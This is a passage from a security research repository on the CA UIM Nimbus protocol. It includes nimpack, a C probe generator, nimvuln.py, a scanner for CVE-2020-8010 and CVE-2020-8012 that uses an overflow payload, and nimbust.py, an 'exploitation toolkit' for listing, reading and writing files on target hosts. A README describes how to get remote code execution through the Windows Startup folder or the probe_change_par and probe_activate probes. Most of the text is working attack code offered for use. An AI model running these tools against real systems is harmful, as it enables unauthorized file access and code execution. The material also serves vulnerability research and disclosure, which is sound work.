`probe,checkpoint%d,lockid%d,robot` | `4` | 115 | | _audit_send | `description,status%d` | `3` | 116 | | _nis_cache | `age%d,bulk_size%d,robot` | `0` | 117 | | _nis_cache_advanced | `age%d,bulk_size%d,robot,min_age%d` | `0` | 118 | | _nis_cache_clean | `robot,min_age%d` | `0` | 119 | | _reset_device_id_and_restart | `robot` | `0` | 120 | | hubcall_robotup | `license%d,hubdomain,hubname,hubrobotname,hubpost_port%d,origin,ssl_cipher,ssl_mode` | `0` | 121 | | hubcall_alive | `` | `0` | 122 | | hubcall_probelist | `` | `0` | 123 | | hubcall_update_hub_info | `origin` | `0` | 124 | | validate_ip_suggestions | `input_ips` | `0` | 125 | | check_marketplace_user | `encrypted_username,encrypted_password` | `3` | 126 | | run_controller_plugins_now | `plugin_name` | `1` | 127 | | plugins_get_info | `plugin_name` | `1` | 128 | | protected_files | `` | `3` | 129 | | protect_file | `owner,path` | `3` | 130 | | unprotect_file | `owner,path` | `3` | 131 | | verify_file | `owner,path` | `1` | 132 | | verify_files | `owner` | `1` | 133 | -------------------------------------------------------------------------------- /0x01 - Reverse Engineering/Nimpack/nimpack: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wetw0rk/CA-UIM-Nimbus-Research/81292ac826ceed5ccf4a3ba27727d327836685a2/0x01 - Reverse Engineering/Nimpack/nimpack -------------------------------------------------------------------------------- /0x01 - Reverse Engineering/Nimpack/source/makefile: -------------------------------------------------------------------------------- 1 | nimpack: 2 | gcc -o nimpack nimpack.c 3 | -------------------------------------------------------------------------------- /0x01 - Reverse Engineering/Nimpack/source/nimpack.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Program name : nimpack 4 | Version : 1.1 5 | Author : wetw0rk 6 | GCC Version : 8.3.0 (Debian 8.3.0-19) 7 | Designed OS : Linux 8 | 9 | Description : 10 | Sends a probe based on how you decide to contruct it, this 11 | code is very hackish so as always no warranty ;). Majority 12 | of the "generation" occurs in packetgen.h. 13 | 14 | */ 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | #include "packgen.h" 28 | 29 | #define MAX_ARGUMENTS 20 30 | 31 | void help() 32 | { 33 | printf("usage: ./nimpack [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n"); 34 | printf("Nimpack - Nimbus packet generator\n\n"); 35 | printf("optional arguments:\n"); 36 | printf(" -h, --help show this help message and exit\n"); 37 | printf(" -t TARGET, --target TARGET target host to probe\n"); 38 | printf(" -p PORT, --port PORT nimcontroller port\n\n"); 39 | printf("positional arguments:\n"); 40 | printf(" probe\n"); 41 | printf(" arg=val\n\n"); 42 | printf("examples:\n"); 43 | printf(" ./nimpack -t 192.168.88.130 -p 48000 directory_list directory=C:\\\\\n"); 44 | printf(" ./nimpack -t 192.168.88.130 -p 48000 os_info\n"); 45 | exit(0); 46 | } 47 | 48 | int main(int argc, char **argv) 49 | { 50 | int c; 51 | int sock; 52 | int count; 53 | char *rhost, *rport; 54 | char *params[MAX_ARGUMENTS]; 55 | char response[BUFSIZ]; 56 | 57 | NimsoftProbe *probe; 58 | struct sockaddr_in srv; 59 | 60 | while (1) 61 | { 62 | static struct option long_options[] = 63 | { 64 | {"help", no_argument, 0, 'h'}, 65 | {"target", required_argument, 0, 't'}, 66 | {"port", required_argument, 0, 'p'}, 67 | {0, 0, 0} 68 | }; 69 | 70 | int option_index = 0; 71 | 72 | c = getopt_long (argc, argv, "ht:p:", long_options, &option_index); 73 | 74 | if (c == -1) 75 | break; 76 | 77 | switch(c) 78 | { 79 | case 't': 80 | rhost = optarg; 81 | break; 82 | case 'p': 83 | rport = optarg; 84 | break; 85 | case 'h': 86 | default: 87 | help(); 88 | break; 89 | } 90 | } 91 | 92 | if (argc < 6) 93 | help(); 94 | 95 | if (optind < argc) 96 | while (optind < argc) 97 | params[count++] = argv[optind++]; 98 | 99 | probe = packet_gen(params, count); 100 | 101 | if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { 102 | printf("[-] Failed to create socket\n"); 103 | return -1; 104 | } 105 | 106 | srv.sin_addr.s_addr = inet_addr(rhost); 107 | srv.sin_port = htons(atoi(rport)); 108 | srv.sin_family = AF_INET; 109 | 110 | if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) { 111 | printf("[-] Connection Failed\n"); 112 | return -1; 113 | } 114 | 115 | printf("[*] Sending generated probe (%d): ", probe->length); 116 | repr(probe->packet, probe->length); 117 | putchar('\n'); 118 | 119 | send(sock, probe->packet, probe->length, 0); 120 | 121 | count = read(sock, response, BUFSIZ); 122 | 123 | printf("[+] Recieved: "); 124 | repr(response, count); 125 | 126 | free(probe); 127 | 128 | return 0; 129 | } 130 | -------------------------------------------------------------------------------- /0x01 - Reverse Engineering/Nimpack/source/packgen.h: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Header name : packgen.h 4 | Version : 1.1 5 | Author : Milton Valencia (wetw0rk) 6 | GCC Version : 8.3.0 (Debian 8.3.0-19) 7 | Designed OS : Linux 8 | 9 | Description : 10 | This will generate a probe based on args passed into the function 11 | not the cleanest method but it works. Please, forgive my horrible 12 | code wrote this in a jiffy. 13 | 14 | Functions : 15 | void pparse(char *packet) 16 | void repr(char *buffer, int nbytes) 17 | NimsoftProbe *packet_gen(char *lparams[], int nparams) 18 | 19 | */ 20 | 21 | /* max amount of bytes in each section of the probe */ 22 | #define PHLEN 300 /* header */ 23 | #define PBLEN 2000 /* body */ 24 | #define PALEN 2000 /* argv */ 25 | #define FPLEN 5000 /* final probe */ 26 | 27 | /* source address: can be anything */ 28 | #define CLIENT "127.0.0.1/1337" 29 | 30 | #define INTSIZ(x) snprintf(NULL, 0, "%i", x) 31 | 32 | unsigned char packet_header[] = \ 33 | "\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a"; 34 | unsigned char packet_body[] = \ 35 | /* nimbus header */ 36 | "\x6d\x74\x79\x70\x65\x0F" /* mtype */ 37 | "\x37\x0F\x34\x0F\x31\x30\x30\x0F" /* 7.4.100 */ 38 | "\x63\x6d\x64\x0F" /* cmd */ 39 | "\x37\x0F%d\x0F" /* 7.x */ 40 | "%s\x0F" /* probe */ 41 | "\x73\x65\x71\x0F" /* seq */ 42 | "\x31\x0F\x32\x0F\x30\x0F" /* 1.2.0 */ 43 | "\x74\x73\x0F" /* ts */ 44 | "\x31\x0F%d\x0F" /* 1.X */ 45 | "%d\x0F" /* UNIX EPOCH */ 46 | "\x66\x72\x6d\x0F" /* frm */ 47 | "\x37\x0F%d\x0F" /* 7.15 */ 48 | "%s\x0F" /* client addr */ 49 | "\x74\x6f\x75\x74\x0F" /* tout */ 50 | "\x31\x0F\x34\x0F\x31\x38\x30\x0F" /* 1.4.180 */ 51 | "\x61\x64\x64\x72\x0F" /* addr */ 52 | "\x37\x0F\x30\x0F"; /* 7.0 */ 53 | 54 | typedef struct { 55 | char *packet; 56 | int length; 57 | } NimsoftProbe; 58 | 59 | /* packet_gen: generate a probe dynamically (some hardcoded bytes) */ 60 | NimsoftProbe *packet_gen(char *lparams[], int nparams) 61 | { 62 | int c, i, j; /* loops, chars, the norm */ 63 | int index = 0; /* index for arguments */ 64 | int fmt_args; 65 | int lbody = 0, largs = 0; /* length of body / args */ 66 | 67 | char *tptr; /* tmp pointer to args/vals */ 68 | char pheader[PHLEN]; /* packet header */ 69 | char pbody[PBLEN]; /* packet body */ 70 | char pargs[PALEN]; /* packet arguments */ 71 | char pbuffer[FPLEN]; /* packet buffer */ 72 | 73 | 74 | char *probe = lparams[0]; /* probe name / module */ 75 | 76 | int epoch_time = (int)time(NULL); 77 | 78 | NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe)); 79 | 80 | /* get the length of the arguments to format before format */ 81 | fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s", 82 | (strlen(probe)+1), 83 | probe, 84 | (INTSIZ(epoch_time)+1), 85 | epoch_time, 86 | (strlen(CLIENT)+1), 87 | CLIENT 88 | ); 89 | 90 | /* if we cannot store all of the arguments properly exit */ 91 | if ((fmt_args + sizeof(packet_body)) > PBLEN) { 92 | printf("Failed to generate packet body\n"); 93 | exit(-1); 94 | } 95 | 96 | /* else format probe args + respective lengths */ 97 | lbody = snprintf(pbody, PBLEN, packet_body, 98 | (strlen(probe)+1), 99 | probe, 100 | (INTSIZ(epoch_time)+1), 101 | epoch_time, 102 | (strlen(CLIENT)+1), 103 | CLIENT 104 | ); 105 | 106 | /* begin formatting the probe arguments if any */ 107 | for (i = 1; i < nparams; i++) 108 | { 109 | /* split up the any arguments and values */ 110 | for (j = 0; j < strlen(lparams[i]); j++) 111 | if ((c = lparams[i][j]) == '=') 112 | lparams[i][j] = '\x00', index = ++j; 113 | 114 | tptr = lparams[i]; /* probe selected */ 115 | 116 | if ((c = 1, c += strlen(tptr)) < PALEN) { 117 | largs += snprintf(pargs+largs, c, "%s", tptr); 118 | largs++; 119 | } else { 120 | printf("Failed to generate packet arguments\n"); 121 | exit(-1); 122 | } 123 | 124 | if (index > 0) /* arguments if any */ 125 | { 126 | tptr = tptr+index; 127 | 128 | if ((largs + strlen(tptr) + 2) < PALEN) 129 | { 130 | largs += snprintf(pargs+largs, 2, "%s", "1"); 131 | largs++; 132 | 133 | largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1); 134 | largs++; 135 | } else { 136 | printf("Failed to generate packet arguments\n"); 137 | exit(-1); 138 | } 139 | 140 | c = 1, c += strlen(tptr); 141 | if ((largs + c) < PALEN) 142 | { 143 | largs += snprintf(pargs+largs, c, "%s", tptr); 144 | largs++; 145 | } else { 146 | printf("Failed to generate packet arguments\n"); 147 | exit(-1); 148 | } 149 | } 150 | } 151 | 152 | /* program arguments have been generated form the final probe pbuff */ 153 | index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs); 154 | index += lbody; 155 | 156 | /* append the packet body to the header*/ 157 | if (index < FPLEN) { 158 | strncat(pbuffer, pbody, lbody); 159 | } else { 160 | printf("Failed to concatenate packet body\n"); 161 | exit(-1); 162 | } 163 | 164 | /* replace all occurences of 0x0f with a NULL byte */ 165 | for (i = 0; i < index; i++) 166 | if (pbuffer[i] == '\x0f') 167 | pbuffer[i] = '\x00'; 168 | 169 | /* append probe arguments */ 170 | if ((index + largs) < FPLEN) { 171 | for (i = 0; i < largs; i++) 172 | pbuffer[index++] = pargs[i]; 173 | } 174 | else { 175 | printf("Failed to concatenate packet arguments\n"); 176 | exit(-1); 177 | } 178 | 179 | probePtr->packet = pbuffer; 180 | probePtr->length = index; 181 | 182 | return probePtr; 183 | } 184 | 185 | /* repr: print "raw" buffer similar to pythons repr() */ 186 | void repr(char *buffer, int nbytes) 187 | { 188 | printf("'"); 189 | for (int i = 0; i < nbytes; i++) 190 | { 191 | if (isprint(buffer[i]) && buffer[i] != '\\') 192 | printf("%c", buffer[i]); 193 | else if (buffer[i] == '\\') 194 | printf("\\\\"); 195 | else if (buffer[i] == '\x0a') 196 | printf("\\n"); 197 | else if (buffer[i] == '\x0d') 198 | printf("\\r"); 199 | else 200 | printf("\\x%02x", buffer[i]); 201 | } 202 | printf("'\n"); 203 | } 204 | -------------------------------------------------------------------------------- /0x01 - Reverse Engineering/Nimvuln/README.md: -------------------------------------------------------------------------------- 1 | # Nimvuln 2 | 3 | This is a simple script put together in a few hours to perform a check against CVE-2020-8010, CVE-2020-8011, and CVE-2020-8012. Very unlikely to crash the nimcontroller, in order to test CVE-2020-8012, we temporarily overwrite a section of the returned packet. This will not result in a crash. 4 | 5 | In the event the target is running linux, nimvuln will attempt to obtain the nimcontroller version. Assume any version under 9.2 is affected and manually perform testing. 6 | 7 | ``` 8 | root@kali:~# python3 nimvuln.py 9 | usage: nimvuln.py [-h] [-iL INPUT_FILE] [-t TARGET] [-p PORT] 10 | 11 | Nimvuln - Scanner for CVE-2020-8010, CVE-2020-8011, and CVE-2020-8012 12 | 13 | optional arguments: 14 | -h, --help show this help message and exit 15 | -iL INPUT_FILE, --input-file INPUT_FILE 16 | input file containing IP's to be tested 17 | -t TARGET, --target TARGET 18 | use this to query a single host 19 | -p PORT, --port PORT target port 20 | ``` 21 | 22 | # Usage 23 | 24 | Usage is simple, either read from a list or scan a single target. 25 | 26 | ![alt text](https://github.com/wetw0rk/CA-UIM-Nimbus-Research/blob/master/0xFF%20-%20Screenshots/Tools/vulnChecker.png) 27 | -------------------------------------------------------------------------------- /0x01 - Reverse Engineering/Nimvuln/nimvuln.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Program name : Nimvuln 4 | # Version : 1.0 5 | # Author : wetw0rk 6 | # Python Version : 3.4 7 | # Designed OS : Linux 8 | # Crash chance : 00.01% 9 | # 10 | # Description: 11 | # This script was written to test if a nimcontroller is vulnerable 12 | # to CVE-2020-8010, CVE-2020-8011, and CVE-2020-8012. If a host is 13 | # vulnerable to 8010, and 8012 assume it is vulnerable to 8011. 14 | # 15 | 16 | # vuln checker 17 | 18 | import os 19 | import sys 20 | import time 21 | import socket 22 | import argparse 23 | 24 | class vulnerability_scanner(): 25 | 26 | def __init__(self, targets, port): 27 | self.hosts = targets 28 | self.port = port 29 | 30 | def generate_probe(self, probe, args): 31 | 32 | client = "127.0.0.1/1337\x00" 33 | packet_args = "" 34 | probe += "\x00" 35 | 36 | for i in range(len(args)): 37 | arg = args[i] 38 | c = "" 39 | i = 0 40 | 41 | while (c != "="): 42 | c = arg[i] 43 | i += 1 44 | 45 | packet_args += "{:s}\x00".format(arg[:(i-1)]) 46 | packet_args += "1\x00{:d}\x00".format(len(arg[i:])+1) 47 | packet_args += "{:s}\x00".format(arg[i:]) 48 | 49 | packet_header = "nimbus/1.0 {:d} {:d}\r\n" 50 | packet_body = ( 51 | "mtype\x00" 52 | "7\x004\x00100\x00" 53 | "cmd\x00" 54 | ) 55 | packet_body += "7\x00{:d}\x00".format(len(probe)) 56 | packet_body += probe 57 | packet_body += ( 58 | "seq\x00" 59 | "1\x002\x000\x00" 60 | "ts\x00" 61 | "1\x0011\x00RIGAMORTIS\x00" 62 | "frm\x00" 63 | ) 64 | packet_body += "7\x00{:d}\x00".format( 65 | len(client) 66 | ) 67 | packet_body += client 68 | packet_body += ( 69 | "tout\x00" 70 | "1\x004\x00180\x00" 71 | "addr\x00" 72 | "7\x000\x00" 73 | ) 74 | packet_args = packet_args 75 | 76 | packet_header = packet_header.format( 77 | len(packet_body), 78 | len(packet_args) 79 | ) 80 | 81 | probe = packet_header + packet_body + packet_args 82 | 83 | return bytes(probe, 'latin1') 84 | 85 | def get_nimbus_version(self, host): 86 | 87 | check = self.generate_probe("get_info", []) 88 | r = self.send(host, check) 89 | 90 | nimbus_version = r.decode().split("\x00") 91 | 92 | try: 93 | p_error(f"{host} - OS has not been tested, verify manually: {nimbus_version[67]}") 94 | except: 95 | p_error(f"{host} - Failed to extract nimbus version") 96 | 97 | exit(-1) 98 | 99 | def get_target_os(self, host): 100 | 101 | os = self.generate_probe("os_info", []) 102 | r = self.send(host, os) 103 | 104 | if b"Windows" not in r: 105 | self.get_nimbus_version(host) 106 | os_detected = r.decode().split('\x00') 107 | p_info(f"{host} - OS detected: {os_detected[len(os_detected)-6]}") 108 | 109 | return 110 | 111 | def send(self, target, packet): 112 | 113 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 114 | 115 | try: 116 | sock.settimeout(8) 117 | sock.connect((target, self.port)) 118 | sock.send(packet) 119 | 120 | r = sock.recv(4096) 121 | except: 122 | p_error(f"{target} - Failed to connect to host") 123 | r = b"ERROR" 124 | 125 | return r 126 | 127 | def check_cve_2020_8010(self, host): 128 | 129 | check = self.generate_probe("directory_list", ["directory=C:\\"]) 130 | r = self.send(host, check) 131 | 132 | if b"entry" in r: 133 | p_good(f"{host} - vulnerable to CVE-2020-8010") 134 | else: 135 | return -1 136 | 137 | return 1 138 | 139 | def check_cve_2020_8012(self, host): 140 | 141 | payload = "A" * 1024 142 | payload += "AAAA" 143 | 144 | check = self.generate_probe("directory_list", [("directory=%s" % payload)]) 145 | r = self.send(host, check) 146 | 147 | if b'1094795585' in r: 148 | p_good(f"{host} - vulnerable to CVE-2020-8012") 149 | else: 150 | return -1 151 | 152 | return 1 153 | 154 | def scan(self): 155 | 156 | for i in range(len(self.hosts)): 157 | self.get_target_os(self.hosts[i]) 158 | self.check_cve_2020_8010(self.hosts[i]) 159 | time.sleep(1) 160 | self.check_cve_2020_8012(self.hosts[i]) 161 | 162 | 163 | class ReadFfile(): 164 | 165 | def __init__(self, filename): 166 | self.filename = filename 167 | self.targlist = [] 168 | 169 | def check_exists(self): 170 | if os.path.isfile(self.filename) is False: 171 | p_error("error occured when reading input file\n") 172 | exit(1) 173 | return 174 | 175 | def check_dups(self): 176 | listlen = len(self.targlist) 177 | sortit = list(set(self.targlist)) 178 | self.targlist = sortit 179 | 180 | p_info(f"dup check done - target list before: {listlen}, target list after {len(self.targlist)}") 181 | 182 | return 183 | 184 | def inputf(self): 185 | self.check_exists() 186 | address_file = open(self.filename) 187 | address_list = address_file.readlines() 188 | for address in address_list: 189 | self.targlist += (address.rstrip()), 190 | self.check_dups() 191 | 192 | return self.targlist 193 | 194 | def p_error(string): 195 | print("\033[1m\033[31m[-]\033[0m {:s}".format(string)) 196 | 197 | def p_info(string): 198 | print("\033[1m\033[94m[*]\033[0m {:s}".format(string)) 199 | 200 | def p_good(string): 201 | print("\033[1m\033[92m[+]\033[0m {:s}".format(string)) 202 | 203 | def main(): 204 | 205 | parser = argparse.ArgumentParser(description="Nimvuln - Scanner for CVE-2020-8010, CVE-2020-8011, and CVE-2020-8012") 206 | parser.add_argument("-iL", "--input-file", help="input file containing IP's to be tested") 207 | parser.add_argument("-t", "--target", help="use this to query a single host") 208 | parser.add_argument("-p", "--port", help="target port") 209 | 210 | args = parser.parse_args() 211 | 212 | if len(sys.argv) < 4: 213 | parser.print_help() 214 | exit(0) 215 | 216 | target_list = args.input_file 217 | target = args.target 218 | port = int(args.port) 219 | 220 | if target_list: 221 | reader = ReadFfile(target_list) 222 | targets = reader.inputf() 223 | elif target: 224 | targets = [target] 225 | else: 226 | p_error("Need a target or target list") 227 | exit(1) 228 | 229 | vulnerability_scanner(targets, port).scan() 230 | 231 | main() 232 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8010 - Improper ACL Handling/README.md: -------------------------------------------------------------------------------- 1 | # Nimbust 2 | 3 | The following is a proof of concept written to demonstrate the read/write bug that can be triggered when the target has improper ACL settings. Although the service may seem secure (e.g strict probe settings), if improperly configured we can reach ANY probe. There may be easier methods to gain RCE such as installing a malicious package however I haven't dug to much into it. 4 | 5 | ## Nimbust Usage 6 | 7 | Usage is pretty straight forward, point and launch! You can also get a OS fingerprint before you try any of the read / write probes. Unfortunately this PoC will not be able to upload any NULL bytes as is, keep that in mind when exploiting a host. 8 | 9 | ``` 10 | root@kali:~# ./nimbust.py 11 | usage: nimbust.py [-h] [-t TARGET] [-d DIRECTORY] [-f FILE] [-m MODE] 12 | 13 | Nimbust - Nimbus exploitation toolkit 14 | 15 | optional arguments: 16 | -h, --help show this help message and exit 17 | -t TARGET, --target TARGET 18 | Where to send the probe 19 | -d DIRECTORY, --directory DIRECTORY 20 | Directory to get a listing from, or write to 21 | -f FILE, --file FILE File to read or write 22 | -m MODE, --mode MODE Exploit mode (read, write, list, fingerprint) 23 | ``` 24 | 25 | ## Exploitation Example (Nimpack) 26 | 27 | During initial research exploitation of CVE-2020-8010 was achieved via writing a `.bat` script to the Start-Up directory in Windows. However, [Fabius Artel](https://twitter.com/FabiusArtrel) found a more effective method using the `probe_change_par` and `probe_activate` probes as shown below. 28 | 29 | ![alt text](https://github.com/wetw0rk/CA-UIM-Nimbus-Research/blob/master/0xFF%20-%20Screenshots/Improper%20ACL%20Handling/rce2.gif) 30 | 31 | ## Exploitation Example (Nimbust) 32 | 33 | Maintaining this exploitation method as it is still an easy exploitation pathway should you be targeting a Linux host. However, the easier and more effective method is using Nimpack. 34 | 35 | ![alt text](https://github.com/wetw0rk/CA-UIM-Nimbus-Research/blob/master/0xFF%20-%20Screenshots/Improper%20ACL%20Handling/rce.gif) 36 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8010 - Improper ACL Handling/nimbust.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Script name : nimbust.py 4 | # Version : 1.1 5 | # Created date : ??/??/19 6 | # Last update : ??/??/19 7 | # Author : wetw0rk 8 | # Python version : 3.7.4 9 | # Designed OS : Linux (preferably a penetration testing distro) 10 | # 11 | # Description : The Nimbus protocol suffers from improper probe handling 12 | # this toolkit will allow you to read and write text files 13 | # onto the target host as well as get a directory listing. 14 | # 15 | # Tested Nimbus Versions (should work on any version <= 9.2): 16 | # 9.10 [Build 9.10.846, Apr 6 2019] 17 | # 7.80 [Build 7.80.3132, Jun 1 2015] 18 | # 19 | # Tested on: 20 | # Windows 10 Pro 21 | # Windows Server 2008 R2 Standard Edition 22 | # Windows Server 2012 R2 Standard Edition 23 | # 24 | # NOTE (HARDCODED VALUES): 25 | # - Client address: 127.0.0.1/1337 26 | # 27 | # WARNING : I am not responsible for how you use my code ;) 28 | # 29 | 30 | from probes import * 31 | from probes.dependencies import * 32 | 33 | def main(): 34 | 35 | formatter = lambda prog: argparse.HelpFormatter(prog,max_help_position=52) 36 | parser = argparse.ArgumentParser(formatter_class=formatter, description="Nimbust - Nimbus exploitation toolkit") 37 | parser.add_argument("-t", "--target",help="target host to probe") 38 | parser.add_argument("-p", "--port", help="nimcontroller port", default=48000) 39 | parser.add_argument("-d", "--dir", help="directory to list from, or write to", default="C:\\") 40 | parser.add_argument("-f", "--file", help="file for read or write") 41 | parser.add_argument("-m", "--mode", help="exploit mode (read, write, list, info)") 42 | 43 | 44 | modes = ["read", "write", "list", "info"] 45 | args = parser.parse_args() 46 | 47 | host = args.target 48 | port = int(args.port) 49 | directory = args.dir 50 | filename = args.file 51 | mode = args.mode 52 | 53 | if mode != None and host == None: 54 | p_error("No target specified") 55 | sys.exit(-1) 56 | 57 | if mode == "info": 58 | get_info.probe(host, port) 59 | 60 | elif mode == "list": 61 | directory_list.probe(host, port, directory) 62 | 63 | elif mode == "read" or mode == "write": 64 | if directory == None: 65 | p_error("Directory needed to continue") 66 | sys.exit(-1) 67 | else: 68 | if mode == "read": 69 | if filename == None: 70 | p_error("Filename needed to continue") 71 | sys.exit(-1) 72 | text_file_get.probe(host, port, directory, filename) 73 | else: 74 | if os.path.isfile(filename) is False: 75 | p_error("Error reading. Is file present?") 76 | sys.exit(-1) 77 | text_file_put.probe(host, port, directory, filename) 78 | directory_list.probe(host, port, directory) 79 | 80 | if mode not in modes: 81 | parser.print_help() 82 | 83 | main() 84 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8010 - Improper ACL Handling/probes/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pkgutil 3 | 4 | __all__ = list(module for _, module, _ in pkgutil.iter_modules([os.path.dirname(__file__)])) 5 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8010 - Improper ACL Handling/probes/dependencies.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import time 4 | import socket 5 | import argparse 6 | 7 | CLIENT = "127.0.0.1/1337\x00" 8 | TIMEOUT = 4 9 | 10 | def p_error(string): 11 | print("\033[1m\033[31m[-]\033[0m {:s}".format(string)) 12 | 13 | def p_info(string): 14 | print("\033[1m\033[94m[*]\033[0m {:s}".format(string)) 15 | 16 | def p_good(string): 17 | print("\033[1m\033[92m[+]\033[0m {:s}".format(string)) 18 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8010 - Improper ACL Handling/probes/directory_list.py: -------------------------------------------------------------------------------- 1 | ''' 2 | 3 | directory_list: probe to get a directory listing 4 | 5 | ''' 6 | 7 | from probes.dependencies import * 8 | 9 | def generate_probe(directory): 10 | 11 | directory += "\x00" 12 | 13 | packet_header = "nimbus/1.0 {:d} {:d}\r\n" 14 | packet_body = ( 15 | "mtype\x00" 16 | "7\x004\x00100\x00" 17 | "cmd\x00" 18 | "7\x0015\x00" 19 | "directory_list\x00" 20 | "seq\x00" 21 | "1\x002\x000\x00" 22 | "ts\x00" 23 | "1\x0011\x001571292687\x00" 24 | "frm\x00" 25 | ) 26 | packet_body += "7\x00{:d}\x00".format(len(CLIENT)) 27 | packet_body += CLIENT 28 | packet_body += ( 29 | "tout\x00" 30 | "1\x004\x00180\x00" 31 | "addr\x00" 32 | "7\x000\x00" 33 | ) 34 | 35 | packet_args = "directory\x00" 36 | packet_args += "7\x00{:d}\x00".format(len(directory)) 37 | packet_args += directory 38 | packet_args += ( 39 | "type\x00" 40 | "1\x002\x000\x00" 41 | "detail\x00" 42 | "1\x002\x001\x00" 43 | ) 44 | 45 | packet_header = packet_header.format( 46 | len(packet_body), 47 | len(packet_args) 48 | ) 49 | 50 | probe = packet_header + packet_body + packet_args 51 | 52 | return bytes(probe, 'utf-8') 53 | 54 | def parse(response, directory): 55 | 56 | result = {"name": "", "date": "", "size": "", "type": ""} 57 | 58 | dank = 1 59 | 60 | try: 61 | dirlist = response.decode().split('\x00') 62 | index = dirlist.index("entry") 63 | final = dirlist[index+3:] 64 | except: 65 | dank = 0 66 | 67 | if dank == 0: 68 | return -1 69 | 70 | p_good("Probe successful\n") 71 | print(" Directory of %s\n" % directory) 72 | 73 | name = 0 74 | ftime = 0 75 | size = 0 76 | ftype = 0 77 | check = 0 78 | 79 | # WARNING HORRIBLE CODE AHEAD 80 | for i in range(len(final)): 81 | if name == 1: 82 | try: 83 | int(final[i]) 84 | except: 85 | result["name"] = final[i] 86 | name = 0 87 | check += 1 88 | if size >= 1: 89 | if size == 3: 90 | result["size"] = final[i] 91 | size = 0 92 | check += 1 93 | else: 94 | size += 1 95 | if ftype >= 1: 96 | if ftype == 3: 97 | result["type"] = final[i] 98 | ftype = 0 99 | check += 1 100 | else: 101 | ftype += 1 102 | if ftime >= 1: 103 | if ftime == 3: 104 | result["date"] = final[i] 105 | ftime = 0 106 | check += 1 107 | else: 108 | ftime += 1 109 | 110 | if "name" in final[i]: 111 | name = 1 112 | if "size" in final[i]: 113 | size = 1 114 | if "type" in final[i]: 115 | ftype = 1 116 | if "last_modified" in final[i]: 117 | ftime = 1 118 | 119 | if check == 4: 120 | if result["type"] == '2': 121 | result["type"] = "" 122 | else: 123 | result["type"] = "" 124 | result["size"] = "" 125 | 126 | try: 127 | timestamp = time.strftime('%m/%d/%Y %I:%-M %p', time.localtime(int(result["date"]))) 128 | except: 129 | timestamp = "??/??/???? ??:?? ??" 130 | pass 131 | 132 | print("{:20} {:6} {:15} {:s}".format( 133 | timestamp, 134 | result["type"], 135 | result["size"], 136 | result["name"]) 137 | ) 138 | check = 0 139 | 140 | def probe(host, port, directory): 141 | probe = generate_probe(directory) 142 | 143 | p_info("Sending directory_list probe to %s:%d" % (host, port)) 144 | 145 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 146 | sock.settimeout(TIMEOUT) 147 | try: 148 | sock.connect((host, port)) 149 | sock.send(probe) 150 | parse(sock.recv(4096), directory) 151 | except: 152 | p_error("Failed to connect to %s:%d" % (host, port)) 153 | -------------------------------------------------------------------------------- /0x02 - PoC Code/CVE-2020-8010 - Improper ACL Handling/probes/get_info.py: -------------------------------------------------------------------------------- 1 | ''' 2 | 3 | get_info: grabs system information such as OS and installation path 4 | 5 | ''' 6 | 7 | from probes.dependencies import * 8 | 9 | def generate_probe(): 10 | 11 | packet_header = "nimbus/1.0 {:d} {:d}\r\n" 12 | 13 | packet_body = ( 14 | "mtype\x00" 15 | "7\x004\x00100\x00" 16 | "cmd\x00" 17 | "7\x009\x00" 18 | "get_info\x00" 19 | "seq\x00" 20 | "1\x002\x000\x00" 21 | "ts\x00" 22 | "1\x0011\x001571974657\x00" 23 | "frm\x00" 24 | ) 25 | packet_body += "7\x00{:d}\x00".format(len(CLIENT)) 26 | packet_body += CLIENT 27 | packet_body += ( 28 | "tout\x00" 29 | "1\x004\x00180\x00" 30 | "addr\x00" 31 | "7\x000\x00" 32 | ) 33 | packet_args = ( 34 | "interfaces\x00" 35 | "1\x002\x000\x00" 36 | "robot\x00" 37 | "7\x001\x00\x00" 38 | ) 39 | 40 | packet_header = packet_header.format( 41 | len(packet_body), 42 | len(packet_args) 43 | ) 44 | 45 | probe = packet_header + packet_body + packet_args 46 | 47 | return bytes(probe, 'utf-8') 48 | 49 | def parse(response): 50 | 51 | result = \ 52 | { 53 | "robotname": "", 54 | "robotip": "", 55 | "hubname": "", 56 | "hubip": "", 57 | "domain": "", 58 | "origin": "", 59 | "source": "", 60 | "robot_device_id": "", 61 | "robot_mode": "", 62 | "hubrobotname": "", 63 | "log_level": "", 64 | "log_file": "", 65 | "license": "", 66 | "version": "", 67 | "requests": "", 68 | "uptime": "", 69 | "started": "", 70 | "os_major": "", 71 | "os_minor": "", 72 | "os_version": "", 73 | "os_description": "", 74 | "os_user1": "", 75 | "os_user2": "", 76 | "processor_type": "", 77 | "workdir": "", 78 | "current_time": "", 79 | "access_0": "", 80 | "access_1": "", 81 | "access_2": "", 82 | "access_3": "", 83 | "access_4": "", 84 | "timezone_diff": "", 85 | "timezone_daylight": "", 86 | "timezone_name": "", 87 | "locale": "", 88 | "spoolport": "", 89 | "last_inst_change": "" 90 | } 91 | 92 | info = response.decode().split('\x00') 93 | values = result.keys() 94 | 95 | for i in range(len(info)): 96 | if info[i] in values: 97 | result[info[i]] = info[i+3] 98 | 99 | 